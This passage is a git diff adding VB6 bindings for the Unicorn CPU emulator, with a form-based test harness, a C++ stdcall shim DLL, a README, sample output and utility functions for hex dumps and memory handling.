As Collection, mem As CMemRegion + + Me.Visible = True + + 'you can set UNICORN_PATH global variable to load a specific dll, do this before initilizing the class + Set uc = New ucIntel32 + + If uc.hadErr Then + List1.AddItem uc.errMsg + Exit Sub + End If + + List1.AddItem "ucvbshim.dll loaded @" & Hex(uc.hLib) + List1.AddItem "Unicorn version: " & uc.Version + List1.AddItem "Disassembler available: " & uc.DisasmAvail + If uc.major < 1 Then List1.AddItem "Change Eip in hook test requires >= v1.x for success" + + List1.AddItem "Unicorn x86 32bit engine handle: " & Hex(uc.uc) + +' ReDim b(8) 'for clarity in what we are testing.. +' b(0) = &H41 ' inc ECX @0x1000000 +' b(1) = &H41 ' inc ECX +' b(2) = &H41 ' inc ECX +' b(3) = &H41 ' inc ECX @0x1000003 +' b(4) = &H41 ' inc ECX +' b(5) = &H41 ' inc ECX +' +' b(6) = &H42 ' inc EDX @0x1000006 +' b(7) = &H42 ' inc EDX + +' #define X86_CODE32_MEM_WRITE "\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" // mov [0xaaaaaaaa], ecx; INC ecx; DEC edx + + 'we mash up two different test cases, first the change eip in hook test, then an invalid memory access + 'note the format accepted by tobytes() is somewhat forgiving (always use 2char hex vals though) + b() = toBytes("4141414141414242cc\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a") + + ecx = 3 + edx = 15 + address = &H1000000 + size = &H200000 + endAt = address + UBound(b) + 1 + + If Not uc.mapMem(address, size) Then + List1.AddItem "Failed to map in 2mb memory " & uc.errMsg + Exit Sub + End If + + ' write machine code to be emulated to memory + If Not uc.writeMem(address, b()) Then + List1.AddItem "Failed to write code to memory " & uc.errMsg + Exit Sub + End If + + List1.AddItem "starts at: " & uc.disasm(address) + + Dim b2() As Byte + If uc.readMem(address, b2, UBound(b) + 1) Then '+1 because ubound is 0 based.. + List1.AddItem "readMem: " & HexDump(b2, 1) + End If + + uc.reg32(ecx_r) = ecx + uc.reg32(edx_r) = edx + List1.AddItem "start values ECX = " & ecx & " EDX = " & edx + + ' trace all instructions + uc.addHook hc_code, UC_HOOK_CODE + uc.addHook hc_memInvalid, UC_HOOK_MEM_READ_UNMAPPED Or UC_HOOK_MEM_WRITE_UNMAPPED + 'uc.removeHook UC_HOOK_MEM_READ_UNMAPPED Or UC_HOOK_MEM_WRITE_UNMAPPED + uc.addHook hc_int, UC_HOOK_INTR + + List1.AddItem "beginning emulation.." + If Not uc.startEmu(address, endAt) Then List1.AddItem uc.errMsg + + ecx = uc.reg32(ecx_r) + edx = uc.reg8(dl_r) + + List1.AddItem "ECX: 6 =? " & ecx + List1.AddItem "EDX: 17 =? " & edx + List1.AddItem uc.dumpFlags + If ecx <> 6 Then List1.AddItem "failed to change eip in hook!" + + ReDim b(100) 'this will handle mapping and alignment automatically.. + uc.writeBlock &H2001, b(), UC_PROT_READ Or UC_PROT_WRITE + + List1.AddItem "Initilizing sharedMemory with: aabbccddeeff0011223344556677889900" + sharedMemory() = toBytes("aabbccddeeff0011223344556677889900") + ReDim Preserve sharedMemory(&H1000) 'must be 4k bytes aligned... + + If Not uc.mapMemPtr(sharedMemory, &H4000, UBound(sharedMemory)) Then + List1.AddItem "Failed to map in host memory " & uc.errMsg + Else + + Dim bb As Byte, ii As Integer, ll As Long + + If Not uc.writeByte(&H4001, &H41) Then + List1.AddItem "Failed to write byte to shared mem" + Else + List1.AddItem "Wrote 0x41 to sharedMemory + 1" + If uc.readByte(&H4001, bb) Then List1.AddItem "readByte = " & Hex(bb) + End If + + 'uc.writeInt &H4001, &H4142 + 'If uc.readInt(&H4001, ii) Then List1.AddItem Hex(ii) + + 'uc.writeLong &H4001, &H11223344 + 'If uc.readLong(&H4001, ll) Then List1.AddItem Hex(ll) + + Erase b2 + If uc.readMem(&H4000, b2, 20) Then + List1.AddItem "emu read of sharedMemory: " & HexDump(b2, 1) + Else + List1.AddItem "Failed to readMem on sharedMemory " & uc.errMsg + End If + + List1.AddItem "sanity checking host mem: " & HexDump(sharedMemory, 1, , 20) + + End If + + List1.AddItem "Enumerating memory regions..." + + Set c = uc.getMemMap() + + For Each mem In c + List1.AddItem mem.toString() + Next + + If hContext <> 0 Then + List1.AddItem "trying to restore context.." + If Not uc.restoreContext(hContext) Then List1.AddItem uc.errMsg + List1.AddItem uc.regDump() + List1.AddItem "beginning emulation.." + If Not uc.startEmu(uc.eip, endAt) Then List1.AddItem uc.errMsg + List1.AddItem uc.regDump() + List1.AddItem "releasing saved context.." + If Not uc.freeContext(hContext) Then List1.AddItem uc.errMsg + End If + + Set mem = c(2) + If Not uc.changePermissions(mem, UC_PROT_ALL) Then + List1.AddItem "Failed to change permissions on second alloc " & uc.errMsg + Else + List1.AddItem "Changed permissions on second alloc to ALL" + List1.AddItem "redumping memory regions to check..." + Set c = uc.getMemMap() + For Each mem In c + List1.AddItem mem.toString() + Next + End If + + If uc.unMapMem(&H2000) Then + List1.AddItem "Successfully unmapped new alloc" + Else + List1.AddItem "Failed to unmap alloc " & uc.errMsg + End If + + List1.AddItem "Mem allocs count now: " & uc.getMemMap().count + +End Sub + +Private Sub Command1_Click() + Clipboard.Clear + Clipboard.SetText lbCopy(List1) +End Sub + +Private Sub Form_Unload(Cancel As Integer) + 'so IDE doesnt hang onto dll and we can recompile in development testing.. if you hit stop this benefit is lost.. + 'do not use this in your real code, only for c dll development.. + If uc.hLib <> 0 Then FreeLibrary uc.hLib +End Sub + +Private Sub uc_CodeHook(ByVal address As Long, ByVal size As Long) + + List1.AddItem "> " & uc.disasm(address) + + If hContext = 0 And address = &H1000003 Then 'change the PC to "inc EDX" + List1.AddItem "changing eip to skip last inc ecx's and saving context..." + hContext = uc.saveContext() + If hContext = 0 Then List1.AddItem "Failed to save context " & uc.errMsg + uc.eip = &H1000006 + End If + +End Sub + +Private Sub uc_Interrupt(ByVal intno As Long) + List1.AddItem "Interrupt: " & intno +End Sub + +Private Sub uc_InvalidMem(ByVal t As uc_mem_type, ByVal address As Long, ByVal size As Long, ByVal value As Long, continue As Boolean) + 'continue defaults to false so we can ignore it unless we want to continue.. + List1.AddItem "Invalid mem access address: " & Hex(address) & " size: " & Hex(size) & " type: " & memType2str(t) +End Sub + +Private Sub uc_MemAccess(ByVal t As uc_mem_type, ByVal address As Long, ByVal size As Long, ByVal value As Long) + List1.AddItem "mem access: address: " & Hex(address) & " size: " & Hex(size) & " type: " & memType2str(t) +End Sub + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Project1.vbp b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Project1.vbp new file mode 100644 index 0000000..31ab39f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Project1.vbp @@ -0,0 +1,42 @@ +Type=Exe +Form=Form1.frm +Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation +Module=uc_def; uc_def.bas +Module=misc; misc.bas +Class=ucIntel32; ucIntel32.cls +Class=CMemRegion; CMemRegion.cls +IconForm="Form1" +Startup="Form1" +HelpFile="" +ExeName32="vb6Test.exe" +Command32="" +Name="Project1" +HelpContextID="0" +CompatibleMode="0" +MajorVer=1 +MinorVer=0 +RevisionVer=0 +AutoIncrementVer=0 +ServerSupportFiles=0 +VersionCompanyName="sandsprite" +CompilationType=0 +OptimizationType=0 +FavorPentiumPro(tm)=0 +CodeViewDebugInfo=-1 +NoAliasing=0 +BoundsCheck=0 +OverflowCheck=0 +FlPointCheck=0 +FDIVCheck=0 +UnroundedFP=0 +StartMode=0 +Unattended=0 +Retained=0 +ThreadPerObject=0 +MaxNumberOfThreads=1 + +[MS Transaction Server] +AutoRefresh=1 + +[fastBuild] +fullPath=%ap%\vb6Test.exe diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/README.txt b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/README.txt new file mode 100644 index 0000000..bb607d7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/README.txt @@ -0,0 +1,71 @@ + +Unicorn engine bindings for VB6 + +A sample class for the 32bit x86 emulator is provided. + +Contributed by: FireEye FLARE team +Author: David Zimmer <david.zimmer@fireeye.com>, <dzzie@yahoo.com> +License: Apache + +' supported api: +' ucs_version +' ucs_arch_supported +' ucs_open +' ucs_close +' uc_reg_write +' uc_reg_read +' uc_mem_write +' UC_MEM_READ +' uc_emu_start +' uc_emu_stop +' ucs_hook_add +' uc_mem_map +' uc_hook_del +' uc_mem_regions +' uc_mem_map_ptr +' uc_context_alloc +' uc_free +' uc_context_save +' uc_context_restore +' uc_mem_unmap +' uc_mem_protect +' uc_strerror +' uc_errno +' +' supported hooks: +' UC_HOOK_CODE +' UC_HOOK_BLOCK +' memory READ/WRITE/FETCH +' invalid memory access +' interrupts +' +' bonus: +' disasm_addr (conditional compile - uses libdasm) +' mem_write_block (map and write data auto handles alignment) +' get_memMap (wrapper for uc_mem_regions) +' + +dependancies: (all in same directory or unicorn package in %windir%) + vb6Test.exe + ucvbshim.dll _ + unicorn.dll - + libgcc_s_dw2-1.dll \ + libiconv-2.dll \__ unicorn package + libintl-8.dll / + libpcre-1.dll / + libwinpthread-1.dll_- + +Notes: + + c dll was built using VS2008 + build notes are included at the top of main.c + this dll serves as a stdcall shim so vb6 can access the cdecl api and receive data from the callbacks. + + huge thanks to the unicorn and qemu authors who took on a gigantic task to create this library! + + + + + + + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/example_output.txt b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/example_output.txt new file mode 100644 index 0000000..c57c426 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/example_output.txt @@ -0,0 +1,54 @@ +ucvbshim.dll loaded @10000000 +Unicorn version: 1.0 +Disassembler available: True +Unicorn x86 32bit engine handle: 853FD8 +starts at: 01000000 41 inc ecx +readMem: 4141414141414242CC890DAAAAAAAA414A +start values ECX = 3 EDX = 15 +beginning emulation.. +> 01000000 41 inc ecx +> 01000001 41 inc ecx +> 01000002 41 inc ecx +> 01000003 41 inc ecx +changing eip to skip last inc ecx's and saving context... +> 01000006 42 inc edx +> 01000007 42 inc edx +> 01000008 CC int3 +Interrupt: 3 +> 01000009 89 0D AA AA AA AA mov [0xaaaaaaaa],ecx +Invalid mem access address: AAAAAAAA size: 4 type: Unmapped memory is written to +Quit emulation due to WRITE on unmapped memory: uc_emu_start() +ECX: 6 =? 6 +EDX: 17 =? 17 +EFL 4 P +Initilizing sharedMemory with: aabbccddeeff0011223344556677889900 +Wrote 0x41 to sharedMemory + 1 +readByte = 41 +emu read of sharedMemory: AA41CCDDEEFF0011223344556677889900000000 +sanity checking host mem: AA41CCDDEEFF0011223344556677889900000000 +Enumerating memory regions... +Addr: 1000000 Size: 200000 Perm: All (7) +Addr: 2000 Size: 1000 Perm: Read Write (3) +Addr: 4000 Size: 1000 Perm: All (7) +trying to restore context.. +eax=0 ecx=6 edx=F ebx=0 esp=0 ebp=0 esi=0 edi=0 eip=1000003 eflags=0 EFL 0 +beginning emulation.. +> 01000003 41 inc ecx +> 01000004 41 inc ecx +> 01000005 41 inc ecx +> 01000006 42 inc edx +> 01000007 42 inc edx +> 01000008 CC int3 +Interrupt: 3 +> 01000009 89 0D AA AA AA AA mov [0xaaaaaaaa],ecx +Invalid mem access address: AAAAAAAA size: 4 type: Unmapped memory is written to +Quit emulation due to WRITE on unmapped memory: uc_emu_start() +eax=0 ecx=9 edx=11 ebx=0 esp=0 ebp=0 esi=0 edi=0 eip=1000009 eflags=4 EFL 4 P +releasing saved context.. +Changed permissions on second alloc to ALL +redumping memory regions to check... +Addr: 1000000 Size: 200000 Perm: All (7) +Addr: 2000 Size: 1000 Perm: All (7) +Addr: 4000 Size: 1000 Perm: All (7) +Successfully unmapped new alloc +Mem allocs count now: 2 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/main.cpp b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/main.cpp new file mode 100644 index 0000000..725136f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/main.cpp @@ -0,0 +1,459 @@ + +/* + stdcall unicorn engine shim layer for use with VB6 or C# + code ripped from unicorn_dynload.c + + Contributed by: FireEye FLARE team + Author: David Zimmer <david.zimmer@fireeye.com>, <dzzie@yahoo.com> + License: Apache + + Disassembler support can be optionally compiled in using: + libdasm (c) 2004 - 2006 jt / nologin.org + + this project has been built with vs2008 + + precompiled binaries with disasm support available here: + https://github.com/dzzie/libs/tree/master/unicorn_emu + +*/ + +#include <io.h> +#include <windows.h> + +#ifdef _WIN64 +#error vb6 is 32bit only +#endif + +#include <unicorn/unicorn.h> +#pragma comment(lib, "unicorn.lib") + +//if you compile with VS2008 you will need to add stdint.h and inttypes.h to your compiler include directory +//you can find examples here: https://github.com/dzzie/VS_LIBEMU/tree/master/libemu/include + +//if you want to include disassembler support: +// 1) install libdasm in your compilers include directory +// 2) add libdasm.h/.c to the project (drag and drop into VS project explorer), +// 3) remove the comment from the define below. +//The vb code detects the changes at runtime. +//#define INCLUDE_DISASM + +#ifdef INCLUDE_DISASM +#include <libdasm/libdasm.h> +#endif + + +#include "msvbvm60.tlh" //so we can use the vb6 collection object + +#define EXPORT comment(linker, "/EXPORT:"__FUNCTION__"="__FUNCDNAME__) + + +enum hookCatagory{hc_code = 0, hc_block = 1, hc_inst = 2, hc_int = 3, hc_mem = 4, hc_memInvalid = 5}; + +//tracing UC_HOOK_CODE & UC_HOOK_BLOCK +typedef void (__stdcall *vb_cb_hookcode_t) (uc_engine *uc, uint64_t address, uint32_t size, void *user_data); +vb_cb_hookcode_t vbHookcode = 0; +vb_cb_hookcode_t vbHookBlock = 0; + +//hooking memory UC_MEM_READ/WRITE/FETCH +typedef void (__stdcall *vb_cb_hookmem_t) (uc_engine *uc, uc_mem_type type, uint64_t address, int size,int64_t value, void *user_data); +vb_cb_hookmem_t vbHookMem = 0; + +//invalid memory access UC_MEM_*_UNMAPPED and UC_MEM_*PROT events +typedef bool (__stdcall *vb_cb_eventmem_t) (uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data); +vb_cb_eventmem_t vbInvalidMem = 0; + +//tracing interrupts for uc_hook_intr() +typedef void (__stdcall *vb_cb_hookintr_t) (uc_engine *uc, uint32_t intno, void *user_data); +vb_cb_hookintr_t vbHookInt = 0; + +/* +typedef uint32_t (__stdcall *uc_cb_insn_in_t)(uc_engine *uc, uint32_t port, int size, void *user_data); tracing IN instruction of X86 +typedef void (__stdcall *uc_cb_insn_out_t) (uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data); tracing OUT instruction of X86 +*/ + +//------------------ [ call back proxies ] ------------------------- +static void c_hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + if(vbHookcode==0) return; + vbHookcode(uc,address,size,user_data); +} + +static void c_hook_mem(uc_engine *uc, uc_mem_type type,uint64_t address, int size, int64_t value, void *user_data) +{ + if(vbHookMem==0) return; + vbHookMem(uc,type,address,size,value,user_data); +} + +static bool c_hook_mem_invalid(uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data) +{ + if(vbInvalidMem==0) return false; + return vbInvalidMem(uc,type,address,size,value,user_data); +} + + +static void c_hook_block(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + if(vbHookBlock==0) return; + vbHookBlock(uc,address,size,user_data); +} + +static void c_hook_intr(uc_engine *uc, uint32_t intno, void *user_data) +{ + if(vbHookInt==0) return; + vbHookInt(uc,intno,user_data); +} + + +/* +static uint32_t hook_in(uc_engine *uc, uint32_t port, int size, void *user_data) +{ +} + +static void hook_out(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data) +{ +} +*/ + +//------------------------------------------------------------- + +//uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...); +//we need to use a C stub cdecl callback then proxy to the stdcall vb one.. +//we could get cute with an asm thunk in vb but not worth complexity there are only a couple of them to support.. +//cdecl callback to vb stdcall callback for tracing +uc_err __stdcall ucs_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, int catagory, int instr_id){ +#pragma EXPORT + + if(catagory == hc_code){ + if(vbHookcode == 0){ + if((int)callback==0) return UC_ERR_FETCH_UNMAPPED; + vbHookcode = (vb_cb_hookcode_t)callback; + } + return uc_hook_add(uc,hh,type,c_hook_code,user_data,begin,end); + } + + if(catagory == hc_block){ + if(vbHookBlock == 0){ + if((int)callback==0) return UC_ERR_FETCH_UNMAPPED; + vbHookBlock = (vb_cb_hookcode_t)callback; + } + return uc_hook_add(uc,hh,type,c_hook_block,user_data,begin,end); + } + + if(catagory == hc_mem){ //then it is some combination of memory access hook flags.. + if(vbHookMem == 0){ + if((int)callback==0) return UC_ERR_FETCH_UNMAPPED; + vbHookMem = (vb_cb_hookmem_t)callback; + } + return uc_hook_add(uc,hh,type,c_hook_mem,user_data,begin,end); + } + + if(catagory == hc_memInvalid){ //then it is some combination of invalid memory access hook flags.. + if(vbInvalidMem == 0){ + if((int)callback==0) return UC_ERR_FETCH_UNMAPPED; + vbInvalidMem = (vb_cb_eventmem_t)callback; + } + return uc_hook_add(uc,hh,type,c_hook_mem_invalid,user_data,begin,end); + } + + if(catagory == hc_int){ + if(vbHookInt == 0){ + if((int)callback==0) return UC_ERR_FETCH_UNMAPPED; + vbHookInt = (vb_cb_hookintr_t)callback; + } + return uc_hook_add(uc,hh,UC_HOOK_INTR,c_hook_intr,user_data,begin,end); + } + + return UC_ERR_ARG; +} + +unsigned int __stdcall ucs_dynload(char *path){ +#pragma EXPORT + /*#ifdef DYNLOAD + return uc_dyn_load(path, 0); + #else*/ + return 1; + //#endif +} + +unsigned int __stdcall ucs_version(unsigned int *major, unsigned int *minor){ +#pragma EXPORT + return uc_version(major, minor); +} + +bool __stdcall ucs_arch_supported(uc_arch arch){ +#pragma EXPORT + return uc_arch_supported(arch); +} + +uc_err __stdcall ucs_open(uc_arch arch, uc_mode mode, uc_engine **uc){ +#pragma EXPORT + return uc_open(arch, mode, uc); +} + +uc_err __stdcall ucs_close(uc_engine *uc){ +#pragma EXPORT + return uc_close(uc); +} + +uc_err __stdcall ucs_query(uc_engine *uc, uc_query_type type, size_t *result){ +#pragma EXPORT + return uc_query(uc, type, result); +} + +uc_err __stdcall ucs_errno(uc_engine *uc){ +#pragma EXPORT + return uc_errno(uc); +} + +const char *__stdcall ucs_strerror(uc_err code){ +#pragma EXPORT + return uc_strerror(code); +} + +uc_err __stdcall ucs_reg_write(uc_engine *uc, int regid, const void *value){ +#pragma EXPORT + return uc_reg_write(uc, regid, value); +} + +uc_err __stdcall ucs_reg_read(uc_engine *uc, int regid, void *value){ +#pragma EXPORT + return uc_reg_read(uc, regid, value); +} + +uc_err __stdcall ucs_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count){ +#pragma EXPORT + return uc_reg_write_batch(uc, regs, vals, count); +} + +uc_err __stdcall ucs_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count){ +#pragma EXPORT + return uc_reg_read_batch(uc, regs, vals, count); +} + +uc_err __stdcall ucs_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size){ +#pragma EXPORT + return uc_mem_write(uc, address, bytes, size); +} + +uc_err __stdcall ucs_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size){ +#pragma EXPORT + return uc_mem_read(uc, address, bytes, size); +} + +uc_err __stdcall ucs_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count){ +#pragma EXPORT + return uc_emu_start(uc, begin, until, timeout, count); +} + +uc_err __stdcall ucs_emu_stop(uc_engine *uc){ +#pragma EXPORT + return uc_emu_stop(uc); +} + +uc_err __stdcall ucs_hook_del(uc_engine *uc, uc_hook hh){ +#pragma EXPORT + return uc_hook_del(uc, hh); +} + +uc_err __stdcall ucs_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms){ +#pragma EXPORT + return uc_mem_map(uc, address, size, perms); +} + +//requires link against v1.0 +uc_err __stdcall ucs_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr){ +#pragma EXPORT + return uc_mem_map_ptr(uc, address, size, perms, ptr); +} + + +uc_err __stdcall ucs_mem_unmap(uc_engine *uc, uint64_t address, size_t size){ +#pragma EXPORT + return uc_mem_unmap(uc, address, size); +} + +uc_err __stdcall ucs_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms){ +#pragma EXPORT + return uc_mem_protect(uc, address, size, perms); +} + +uc_err __stdcall ucs_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count){ +#pragma EXPORT + return uc_mem_regions(uc, regions, count); +} + +uc_err __stdcall ucs_context_alloc(uc_engine *uc, uc_context **context){ +#pragma EXPORT + return uc_context_alloc(uc, context); +} + +uc_err __stdcall ucs_free(void *mem){ +#pragma EXPORT + return uc_free(mem); +} + +uc_err __stdcall ucs_context_save(uc_engine *uc, uc_context *context){ +#pragma EXPORT + return uc_context_save(uc, context); +} + +uc_err __stdcall ucs_context_restore(uc_engine *uc, uc_context *context){ +#pragma EXPORT + return uc_context_restore(uc, context); +} + +/* +char* asprintf(char* format, ...){ + + char *ret = 0; + + if(!format) return 0; + + va_list args; + va_start(args,format); + int size = _vscprintf(format, args); + + if(size > 0){ + size++; //for null + ret = (char*)malloc(size+2); + if(ret) _vsnprintf(ret, size, format, args); + } + + va_end(args); + return ret; +}*/ + +#ifdef INCLUDE_DISASM +int __stdcall disasm_addr(uc_engine *uc, uint32_t va, char *str, int bufLen){ +#pragma EXPORT + uint32_t instr_len = 0; + int readLen = 15; + uint8_t data[32]; + INSTRUCTION inst; + + if(bufLen < 100) return -1; + + //longest x86 instruction is 15 bytes, what if at the tail end of an allocation? try to read as much as we can.. + while(uc_mem_read(uc,va,data,readLen) != 0){ + readLen--; + if(readLen == 0) return -2; + } + + instr_len = get_instruction(&inst, data, MODE_32); + if( instr_len == 0 ) return -3; + + get_instruction_string(&inst, FORMAT_INTEL, va, str, bufLen); + + /* + if(inst.type == INSTRUCTION_TYPE_JMP || inst.type == INSTRUCTION_TYPE_JMPC){ + if(inst.op1.type == OPERAND_TYPE_IMMEDIATE){ + if(strlen(str) + 6 < bufLen){ + if(getJmpTarget(str) < va){ + strcat(str," ^^"); + }else{ + strcat(str," vv"); + } + } + } + }*/ + + return instr_len; +} +#endif + + +//maps and write in one shot, auto handles alignment.. +uc_err __stdcall mem_write_block(uc_engine *uc, uint64_t address, void* data, uint32_t size, uint32_t perm){ +#pragma EXPORT + + uc_err x; + uint64_t base = address; + uint32_t sz = size; + + while(base % 0x1000 !=0){ + base--; + if(base==0) break; + } + + sz += address-base; //if data starts mid block, we need to alloc more than just size.. + while(sz % 0x1000 !=0){ + sz++; + } + + x = uc_mem_map(uc, base, sz, perm); + if(x) return x; + + x = uc_mem_write(uc, address, (void*)data, size); + if(x) return x; + return UC_ERR_OK; +} + +void addStr(_CollectionPtr p , char* str){ + _variant_t vv; + vv.SetString(str); + p->Add( &vv.GetVARIANT() ); +} + +uc_err __stdcall get_memMap(uc_engine *uc, _CollectionPtr *pColl){ +#pragma EXPORT + + uc_mem_region *regions; + uint32_t count; + char tmp[200]; //max 46 chars used + + uc_err err = uc_mem_regions(uc, ®ions, &count); + + if (err != UC_ERR_OK) return err; + + for (uint32_t i = 0; i < count; i++) { + sprintf(tmp,"&h%llx,&h%llx,&h%x", regions[i].begin, regions[i].end, regions[i].perms); + addStr(*pColl,tmp); + } + + //free(regions); //https://github.com/unicorn-engine/unicorn/pull/373#issuecomment-271187118 + + uc_free((void*)regions); + return err; + +} + +enum op{ + op_add = 0, + op_sub = 1, + op_div = 2, + op_mul = 3, + op_mod = 4, + op_xor = 5, + op_and = 6, + op_or = 7, + op_rsh = 8, + op_lsh = 9, + op_gt = 10, + op_lt = 11, + op_gteq = 12, + op_lteq = 13 +}; + +unsigned int __stdcall ULong(unsigned int v1, unsigned int v2, int operation){ +#pragma EXPORT + + switch(operation){ + case op_add: return v1 + v2; + case op_sub: return v1 - v2; + case op_div: return v1 / v2; + case op_mul: return v1 * v2; + case op_mod: return v1 % v2; + case op_xor: return v1 ^ v2; + case op_and: return v1 & v2; + case op_or: return v1 | v2; + case op_rsh: return v1 >> v2; + case op_lsh: return v1 << v2; + case op_gt: return (v1 > v2 ? 1 : 0); + case op_lt: return (v1 < v2 ? 1 : 0); + case op_gteq: return (v1 >= v2 ? 1 : 0); + case op_lteq: return (v1 <= v2 ? 1 : 0); + } + + return -1; + +} \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/misc.bas b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/misc.bas new file mode 100644 index 0000000..255d9e8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/misc.bas @@ -0,0 +1,325 @@ +Attribute VB_Name = "misc" +Option Explicit + +Public sharedMemory() As Byte 'in a module so it never goes out of scope and becomes unallocated.. + +Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long +Public Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long +Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) +Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long +Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long + +Enum op + op_add = 0 + op_sub = 1 + op_div = 2 + op_mul = 3 + op_mod = 4 + op_xor = 5 + op_and = 6 + op_or = 7 + op_rsh = 8 + op_lsh = 9 + op_gt = 10 + op_lt = 11 + op_gteq = 12 + op_lteq = 13 +End Enum + +'unsigned math operations +Public Declare Function ULong Lib "ucvbshim.dll" (ByVal v1 As Long, ByVal v2 As Long, ByVal operation As op) As Long + +'this is just a quick way to support x64 numbers in vb6 its lite but can be bulky to work with +'if we wanted to really work with x64 values we would compile a library such as the following into the shim layer: +' https://github.com/dzzie/libs/tree/master/vb6_utypes + +Private Type Bit64Currency + value As Currency +End Type + +Private Type Bit64Integer + LowValue As Long + HighValue As Long +End Type + +Global Const LANG_US = &H409 + +Function lng2Cur(v As Long) As Currency + Dim c As Bit64Currency + Dim dl As Bit64Integer + dl.LowValue = v + dl.HighValue = 0 + LSet c = dl + lng2Cur = c.value +End Function + +Function cur2lng(v As Currency) As Long + Dim c As Bit64Currency + Dim dl As Bit64Integer + c.value = v + LSet dl = c + cur2lng = dl.LowValue +End Function + +Function KeyExistsInCollection(c As Collection, val As String) As Boolean + On Error GoTo nope + Dim t + t = c(val) + KeyExistsInCollection = True + Exit Function +nope: KeyExistsInCollection = False +End Function + +Function FileExists(path As String) As Boolean + On Error GoTo nope + + If Len(path) = 0 Then Exit Function + If Right(path, 1) = "\" Then Exit Function + If Dir(path, vbHidden Or vbNormal Or vbReadOnly Or vbSystem) <> "" Then FileExists = True + + Exit Function +nope: FileExists = False +End Function + +Function FileNameFromPath(fullpath) As String + Dim tmp + If InStr(fullpath, "\") > 0 Then + tmp = Split(fullpath, "\") + FileNameFromPath = CStr(tmp(UBound(tmp))) + End If +End Function + +Function GetParentFolder(path) As String + Dim tmp, a As Long + + If Right(path, 1) = "\" Then + GetParentFolder = path + Else + a = InStrRev(path, "\") + If a > 0 Then + GetParentFolder = Mid(path, 1, a) + End If + End If + +End Function + +Function FolderExists(ByVal path As String) As Boolean + On Error GoTo nope + If Len(path) = 0 Then Exit Function + If Right(path, 1) <> "\" Then path = path & "\" + If Dir(path, vbDirectory) <> "" Then FolderExists = True + Exit Function +nope: FolderExists = False +End Function + +Function HexDump(bAryOrStrData, Optional hexOnly = 0, Optional ByVal startAt As Long = 1, Optional ByVal Length As Long = -1) As String + Dim s() As String, chars As String, tmp As String + On Error Resume Next + Dim ary() As Byte + Dim offset As Long + Const LANG_US = &H409 + Dim i As Long, tt, h, x + + offset = 0 + + If TypeName(bAryOrStrData) = "Byte()" Then + ary() = bAryOrStrData + Else + ary = StrConv(CStr(bAryOrStrData), vbFromUnicode, LANG_US) + End If + + If startAt < 1 Then startAt = 1 + If Length < 1 Then Length = -1 + + While startAt Mod 16 <> 0 + startAt = startAt - 1 + Wend + + startAt = startAt + 1 + + chars = " " + For i = startAt To UBound(ary) + 1 + tt = Hex(ary(i - 1)) + If Len(tt) = 1 Then tt = "0" & tt + tmp = tmp & tt & " " + x = ary(i - 1) + 'chars = chars & IIf((x > 32 And x < 127) Or x > 191, Chr(x), ".") 'x > 191 causes \x0 problems on non us systems... asc(chr(x)) = 0 + chars = chars & IIf((x > 32 And x < 127), Chr(x), ".") + If i > 1 And i Mod 16 = 0 Then + h = Hex(offset) + While Len(h) < 6: h = "0" & h: Wend + If hexOnly = 0 Then + push s, h & " " & tmp & chars + Else + push s, tmp + End If + offset = offset + 16 + tmp = Empty + chars = " " + End If + If Length <> -1 Then + Length = Length - 1 + If Length = 0 Then Exit For + End If + Next + + 'if read length was not mod 16=0 then + 'we have part of line to account for + If tmp <> Empty Then + If hexOnly = 0 Then + h = Hex(offset) + While Len(h) < 6: h = "0" & h: Wend + h = h & " " & tmp + While Len(h) <= 56: h = h & " ": Wend + push s, h & chars + Else + push s, tmp + End If + End If + + HexDump = Join(s, vbCrLf) + + If hexOnly <> 0 Then + HexDump = Replace(HexDump, " ", "") + HexDump = Replace(HexDump, vbCrLf, "") + End If + +End Function + + +Public Function toBytes(ByVal hexstr, Optional strRet As Boolean = 